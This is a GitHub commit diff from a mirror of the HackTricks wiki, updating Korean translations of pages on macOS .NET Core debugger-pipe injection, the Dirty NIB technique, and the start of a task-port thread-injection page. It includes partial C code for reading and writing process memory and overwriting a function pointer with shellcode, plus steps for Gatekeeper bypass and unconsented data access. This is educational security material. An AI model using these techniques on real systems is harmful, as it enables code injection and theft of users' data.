mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
35719d1980
commit
0f46dfd792
82 changed files with 3128 additions and 3976 deletions
|
@ -1,30 +1,31 @@
|
||||||
# macOS .Net 애플리케이션 인젝션
|
# macOS .Net Applications Injection
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
|
||||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 해킹 기법을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
**이것은 [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)의 글 요약입니다. 자세한 내용은 해당 글을 확인하세요!**
|
**이것은 [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/) 게시물의 요약입니다. 추가 세부정보는 해당 링크를 확인하세요!**
|
||||||
|
|
||||||
## .NET Core 디버깅 <a href="#net-core-debugging" id="net-core-debugging"></a>
|
## .NET Core Debugging <a href="#net-core-debugging" id="net-core-debugging"></a>
|
||||||
|
|
||||||
### **디버깅 세션 설정** <a href="#net-core-debugging" id="net-core-debugging"></a>
|
### **디버깅 세션 설정** <a href="#net-core-debugging" id="net-core-debugging"></a>
|
||||||
|
|
||||||
.NET에서 디버거와 디버깅 대상 간의 통신은 [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp)에서 관리됩니다. 이 구성 요소는 [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127)에서 확인할 수 있듯이 .NET 프로세스당 두 개의 이름이 지정된 파이프를 설정합니다. 이 파이프는 [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27)를 통해 시작됩니다. 이 파이프는 **`-in`**과 **`-out`**로 접미사가 붙습니다.
|
.NET에서 디버거와 디버그 대상 간의 통신 처리는 [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp)에서 관리됩니다. 이 구성 요소는 [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127)에서 볼 수 있듯이 각 .NET 프로세스에 대해 두 개의 명명된 파이프를 설정하며, 이는 [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27)를 통해 시작됩니다. 이러한 파이프는 **`-in`** 및 **`-out`**으로 접미사가 붙습니다.
|
||||||
|
|
||||||
사용자의 **`$TMPDIR`**을 방문하면 .Net 애플리케이션을 디버깅하기 위한 디버깅 FIFO를 찾을 수 있습니다.
|
사용자의 **`$TMPDIR`**를 방문하면 .Net 애플리케이션을 디버깅하기 위한 디버깅 FIFO를 찾을 수 있습니다.
|
||||||
|
|
||||||
[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259)는 디버거로부터의 통신을 관리합니다. 새로운 디버깅 세션을 시작하려면 디버거는 `out` 파이프를 통해 `MessageHeader` 구조체로 시작하는 메시지를 보내야 합니다. 이 구조체는 .NET 소스 코드에서 자세히 설명되어 있습니다:
|
[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259)는 디버거로부터의 통신 관리를 담당합니다. 새로운 디버깅 세션을 시작하려면 디버거는 `MessageHeader` 구조체로 시작하는 메시지를 `out` 파이프를 통해 전송해야 하며, 이는 .NET 소스 코드에 자세히 설명되어 있습니다:
|
||||||
```c
|
```c
|
||||||
struct MessageHeader {
|
struct MessageHeader {
|
||||||
MessageType m_eType; // Message type
|
MessageType m_eType; // Message type
|
||||||
|
@ -43,7 +44,7 @@ DWORD m_dwMinorVersion;
|
||||||
BYTE m_sMustBeZero[8];
|
BYTE m_sMustBeZero[8];
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
새 세션을 요청하기 위해 다음과 같이 이 구조체를 채웁니다. 메시지 유형을 `MT_SessionRequest`로 설정하고 프로토콜 버전을 현재 버전으로 설정합니다.
|
새 세션을 요청하기 위해, 이 구조체는 다음과 같이 채워지며, 메시지 유형을 `MT_SessionRequest`로 설정하고 프로토콜 버전을 현재 버전으로 설정합니다:
|
||||||
```c
|
```c
|
||||||
static const DWORD kCurrentMajorVersion = 2;
|
static const DWORD kCurrentMajorVersion = 2;
|
||||||
static const DWORD kCurrentMinorVersion = 0;
|
static const DWORD kCurrentMinorVersion = 0;
|
||||||
|
@ -54,18 +55,18 @@ sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion
|
||||||
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
|
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
|
||||||
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
|
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
|
||||||
```
|
```
|
||||||
이 헤더는 `write` 시스콜을 사용하여 대상에게 전송되며, 세션에 대한 GUID를 포함하는 `sessionRequestData` 구조체가 뒤따릅니다:
|
이 헤더는 `write` 시스템 호출을 사용하여 대상에 전송되며, 그 뒤에 세션을 위한 GUID를 포함하는 `sessionRequestData` 구조체가 옵니다:
|
||||||
```c
|
```c
|
||||||
write(wr, &sSendHeader, sizeof(MessageHeader));
|
write(wr, &sSendHeader, sizeof(MessageHeader));
|
||||||
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
|
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
|
||||||
write(wr, &sDataBlock, sizeof(SessionRequestData));
|
write(wr, &sDataBlock, sizeof(SessionRequestData));
|
||||||
```
|
```
|
||||||
`out` 파이프에 대한 읽기 작업은 디버깅 세션 설정의 성공 또는 실패를 확인합니다.
|
`out` 파이프에서의 읽기 작업은 디버깅 세션 설정의 성공 또는 실패를 확인합니다:
|
||||||
```c
|
```c
|
||||||
read(rd, &sReceiveHeader, sizeof(MessageHeader));
|
read(rd, &sReceiveHeader, sizeof(MessageHeader));
|
||||||
```
|
```
|
||||||
## 메모리 읽기
|
## 메모리 읽기
|
||||||
디버깅 세션이 설정되면 [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896) 메시지 유형을 사용하여 메모리를 읽을 수 있습니다. readMemory 함수는 자세히 설명되어 있으며, 읽기 요청을 보내고 응답을 검색하기 위해 필요한 단계를 수행합니다:
|
디버깅 세션이 설정되면 [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896) 메시지 유형을 사용하여 메모리를 읽을 수 있습니다. 함수 readMemory는 읽기 요청을 보내고 응답을 검색하는 데 필요한 단계를 수행하는 자세한 내용입니다:
|
||||||
```c
|
```c
|
||||||
bool readMemory(void *addr, int len, unsigned char **output) {
|
bool readMemory(void *addr, int len, unsigned char **output) {
|
||||||
// Allocation and initialization
|
// Allocation and initialization
|
||||||
|
@ -77,11 +78,11 @@ bool readMemory(void *addr, int len, unsigned char **output) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
완전한 개념 증명 (POC)은 [여기](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b)에서 사용할 수 있습니다.
|
The complete proof of concept (POC) is available [here](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b).
|
||||||
|
|
||||||
## 메모리 쓰기
|
## Writing Memory
|
||||||
|
|
||||||
마찬가지로, `writeMemory` 함수를 사용하여 메모리를 쓸 수 있습니다. 이 과정은 메시지 유형을 `MT_WriteMemory`로 설정하고 데이터의 주소와 길이를 지정한 다음 데이터를 전송하는 것을 포함합니다:
|
유사하게, 메모리는 `writeMemory` 함수를 사용하여 쓸 수 있습니다. 이 과정은 메시지 유형을 `MT_WriteMemory`로 설정하고, 데이터의 주소와 길이를 지정한 다음, 데이터를 전송하는 것을 포함합니다:
|
||||||
```c
|
```c
|
||||||
bool writeMemory(void *addr, int len, unsigned char *input) {
|
bool writeMemory(void *addr, int len, unsigned char *input) {
|
||||||
// Increment IDs, set message type, and specify memory location
|
// Increment IDs, set message type, and specify memory location
|
||||||
|
@ -97,33 +98,34 @@ return true;
|
||||||
|
|
||||||
## .NET Core 코드 실행 <a href="#net-core-code-execution" id="net-core-code-execution"></a>
|
## .NET Core 코드 실행 <a href="#net-core-code-execution" id="net-core-code-execution"></a>
|
||||||
|
|
||||||
코드를 실행하기 위해서는 rwx 권한을 가진 메모리 영역을 식별해야 합니다. 이는 vmmap -pages를 사용하여 수행할 수 있습니다:
|
코드를 실행하려면 rwx 권한이 있는 메모리 영역을 식별해야 하며, 이는 vmmap -pages를 사용하여 수행할 수 있습니다.
|
||||||
```bash
|
```bash
|
||||||
vmmap -pages [pid]
|
vmmap -pages [pid]
|
||||||
vmmap -pages 35829 | grep "rwx/rwx"
|
vmmap -pages 35829 | grep "rwx/rwx"
|
||||||
```
|
```
|
||||||
함수 포인터를 덮어쓸 위치를 찾는 것이 필요하며, .NET Core에서는 **Dynamic Function Table (DFT)**를 대상으로 할 수 있습니다. 이 테이블은 JIT 컴파일 헬퍼 함수를 위해 런타임에서 사용됩니다.
|
함수 포인터를 덮어쓸 위치를 찾는 것은 필요하며, .NET Core에서는 **Dynamic Function Table (DFT)**를 타겟팅하여 이를 수행할 수 있습니다. 이 테이블은 [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h)에서 자세히 설명되어 있으며, 런타임에서 JIT 컴파일 헬퍼 함수에 사용됩니다.
|
||||||
|
|
||||||
x64 시스템의 경우, `libcorclr.dll`에서 `_hlpDynamicFuncTable` 심볼에 대한 참조를 찾기 위해 시그니처 헌팅을 사용할 수 있습니다.
|
x64 시스템의 경우, 서명 검색을 사용하여 `libcorclr.dll`에서 심볼 `_hlpDynamicFuncTable`에 대한 참조를 찾을 수 있습니다.
|
||||||
|
|
||||||
`MT_GetDCB` 디버거 함수는 `m_helperRemoteStartAddr`라는 헬퍼 함수의 주소를 포함한 유용한 정보를 제공합니다. 이 주소는 프로세스 메모리에서 `libcorclr.dll`의 위치를 나타냅니다. 이 주소를 사용하여 DFT를 검색하고 함수 포인터를 쉘코드의 주소로 덮어씁니다.
|
`MT_GetDCB` 디버거 함수는 헬퍼 함수의 주소인 `m_helperRemoteStartAddr`를 포함하여 유용한 정보를 제공합니다. 이는 프로세스 메모리에서 `libcorclr.dll`의 위치를 나타냅니다. 이 주소는 DFT 검색을 시작하고 함수 포인터를 셸코드의 주소로 덮어쓰는 데 사용됩니다.
|
||||||
|
|
||||||
PowerShell로의 인젝션을 위한 전체 POC 코드는 [여기](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6)에서 확인할 수 있습니다.
|
PowerShell에 대한 주입을 위한 전체 POC 코드는 [여기](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6)에서 접근할 수 있습니다.
|
||||||
|
|
||||||
## 참고 자료
|
## References
|
||||||
|
|
||||||
* [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)
|
* [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 구매하세요.
|
|
||||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,36 +1,37 @@
|
||||||
# macOS Dirty NIB
|
# macOS Dirty NIB
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 **PR을 제출**하여 여러분의 해킹 기교를 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
**기술에 대한 자세한 내용은 원본 게시물을 확인하세요: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** 여기에는 요약이 있습니다:
|
**기술에 대한 자세한 내용은 원본 게시물을 확인하세요: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** 요약은 다음과 같습니다:
|
||||||
|
|
||||||
NIB 파일은 Apple의 개발 생태계의 일부로, 애플리케이션에서 **UI 요소**와 그들의 상호작용을 정의하기 위해 사용됩니다. 이들은 창과 버튼과 같은 직렬화된 객체를 포함하며, 런타임에 로드됩니다. Apple은 이제 더 포괄적인 UI 흐름 시각화를 위해 스토리보드를 권장하고 있지만, 여전히 NIB 파일이 사용되고 있습니다.
|
NIB 파일은 Apple의 개발 생태계의 일부로, 애플리케이션에서 **UI 요소**와 그 상호작용을 정의하는 데 사용됩니다. 이들은 창 및 버튼과 같은 직렬화된 객체를 포함하며, 런타임에 로드됩니다. 지속적으로 사용되고 있지만, Apple은 이제 더 포괄적인 UI 흐름 시각화를 위해 Storyboards를 권장합니다.
|
||||||
|
|
||||||
### NIB 파일과 관련된 보안 문제
|
### NIB 파일의 보안 문제
|
||||||
**NIB 파일은 보안 위험**이 될 수 있습니다. 이들은 **임의의 명령을 실행**할 수 있으며, 앱 내의 NIB 파일을 변경해도 Gatekeeper가 앱을 실행하는 것을 방해하지 않으므로 중대한 위협이 될 수 있습니다.
|
**NIB 파일은 보안 위험이 될 수 있습니다**. 이들은 **임의의 명령을 실행할 수 있는 잠재력**을 가지고 있으며, 앱 내 NIB 파일의 변경은 Gatekeeper가 앱을 실행하는 것을 방해하지 않아 상당한 위협이 됩니다.
|
||||||
|
|
||||||
### Dirty NIB 삽입 과정
|
### 더러운 NIB 주입 프로세스
|
||||||
#### NIB 파일 생성 및 설정
|
#### NIB 파일 생성 및 설정
|
||||||
1. **초기 설정**:
|
1. **초기 설정**:
|
||||||
- XCode를 사용하여 새로운 NIB 파일을 생성합니다.
|
- XCode를 사용하여 새 NIB 파일을 생성합니다.
|
||||||
- 인터페이스에 Object를 추가하고, 클래스를 `NSAppleScript`로 설정합니다.
|
- 인터페이스에 객체를 추가하고, 그 클래스는 `NSAppleScript`로 설정합니다.
|
||||||
- User Defined Runtime Attributes를 통해 초기 `source` 속성을 구성합니다.
|
- 사용자 정의 런타임 속성을 통해 초기 `source` 속성을 구성합니다.
|
||||||
|
|
||||||
2. **코드 실행 가젯**:
|
2. **코드 실행 가젯**:
|
||||||
- 설정은 필요할 때 AppleScript를 실행할 수 있도록 합니다.
|
- 이 설정은 필요에 따라 AppleScript를 실행할 수 있게 합니다.
|
||||||
- `Apple Script` 객체를 활성화하는 버튼을 통합합니다. 특히 `executeAndReturnError:` 선택기를 트리거합니다.
|
- `Apple Script` 객체를 활성화하는 버튼을 통합하여 `executeAndReturnError:` 선택자를 트리거합니다.
|
||||||
|
|
||||||
3. **테스트**:
|
3. **테스트**:
|
||||||
- 테스트 목적으로 간단한 Apple Script:
|
- 테스트 목적으로 간단한 Apple Script:
|
||||||
|
@ -40,32 +41,48 @@ display dialog theDialogText
|
||||||
```
|
```
|
||||||
- XCode 디버거에서 실행하고 버튼을 클릭하여 테스트합니다.
|
- XCode 디버거에서 실행하고 버튼을 클릭하여 테스트합니다.
|
||||||
|
|
||||||
#### 애플리케이션 대상 설정 (예: Pages)
|
#### 애플리케이션 타겟팅 (예: Pages)
|
||||||
1. **준비**:
|
1. **준비**:
|
||||||
- 대상 앱 (예: Pages)을 별도의 디렉토리 (예: `/tmp/`)에 복사합니다.
|
- 타겟 앱(예: Pages)을 별도의 디렉토리(예: `/tmp/`)로 복사합니다.
|
||||||
- Gatekeeper 문제를 우회하고 캐시하기 위해 앱을 시작합니다.
|
- Gatekeeper 문제를 피하고 캐시를 위해 앱을 시작합니다.
|
||||||
|
|
||||||
2. **NIB 파일 덮어쓰기**:
|
2. **NIB 파일 덮어쓰기**:
|
||||||
- 기존의 NIB 파일 (예: About Panel NIB)을 조작된 DirtyNIB 파일로 대체합니다.
|
- 기존 NIB 파일(예: About Panel NIB)을 제작한 DirtyNIB 파일로 교체합니다.
|
||||||
|
|
||||||
3. **실행**:
|
3. **실행**:
|
||||||
- 앱과 상호작용하여 실행을 트리거합니다 (예: `About` 메뉴 항목 선택).
|
- 앱과 상호작용하여 실행을 트리거합니다(예: `About` 메뉴 항목 선택).
|
||||||
|
|
||||||
#### 개념 증명: 사용자 데이터 접근
|
#### 개념 증명: 사용자 데이터 접근
|
||||||
- AppleScript를 수정하여 사용자 동의 없이 사진과 같은 사용자 데이터에 접근하고 추출합니다.
|
- 사용자 동의 없이 사진과 같은 사용자 데이터를 접근하고 추출하도록 AppleScript를 수정합니다.
|
||||||
|
|
||||||
### 코드 샘플: 악성 .xib 파일
|
### 코드 샘플: 악성 .xib 파일
|
||||||
- 임의의 코드를 실행하는 [**악성 .xib 파일 샘플**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4)에 접근하고 검토합니다.
|
- 임의의 코드를 실행하는 [**악성 .xib 파일 샘플**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4)을 접근하고 검토합니다.
|
||||||
|
|
||||||
### 실행 제약 조건 해결
|
### 실행 제약 해결
|
||||||
- 실행 제약 조건은 예기치 않은 위치 (예: `/tmp`)에서 앱 실행을 방지합니다.
|
- 실행 제약은 예상치 못한 위치(예: `/tmp`)에서 앱 실행을 방해합니다.
|
||||||
- 실행 제약 조건에 보호되지 않은 앱을 식별하고 NIB 파일 삽입을 위해 대상으로 지정할 수 있습니다.
|
- 실행 제약으로 보호되지 않는 앱을 식별하고 NIB 파일 주입을 위해 타겟팅할 수 있습니다.
|
||||||
|
|
||||||
### 추가적인 macOS 보호 기능
|
### 추가 macOS 보호 조치
|
||||||
macOS Sonoma 이후로 앱 번들 내에서의 수정이 제한됩니다. 그러나 이전 방법은 다음과 같습니다:
|
macOS Sonoma 이후, 앱 번들 내 수정이 제한됩니다. 그러나 이전 방법은 다음을 포함했습니다:
|
||||||
1. 앱을 다른 위치 (예: `/tmp/`)로 복사합니다.
|
1. 앱을 다른 위치(예: `/tmp/`)로 복사합니다.
|
||||||
2. 초기 보호를 우회하기 위해 앱 번들 내의 디렉토리 이름을 변경합니다.
|
2. 초기 보호를 우회하기 위해 앱 번들 내 디렉토리 이름을 변경합니다.
|
||||||
3. Gatekeeper에 등록하기 위해 앱을 실행한 후, 앱 번들을 수정합니다 (예: MainMenu.nib을 Dirty.nib로 대체).
|
3. Gatekeeper에 등록하기 위해 앱을 실행한 후, 앱 번들을 수정합니다(예: MainMenu.nib를 Dirty.nib로 교체).
|
||||||
4. 디렉토리 이름을 다시 변경하고 주입된 NIB 파일을 실행하기 위해 앱을 다시 실행합니다.
|
4. 디렉토리 이름을 다시 변경하고 앱을 재실행하여 주입된 NIB 파일을 실행합니다.
|
||||||
|
|
||||||
**참고**: 최근 macOS 업데이트에서는 Gatekeeper 캐싱 이후 앱 번들 내의 파일 수정을 방지하여 이 취약점을 완화시켰습니다.
|
**참고**: 최근 macOS 업데이트는 Gatekeeper 캐싱 후 앱 번들 내 파일 수정을 방지하여 이 익스플로잇을 무효화했습니다.
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,68 +1,69 @@
|
||||||
# macOS Task 포트를 통한 스레드 주입
|
# macOS Thread Injection via Task port
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
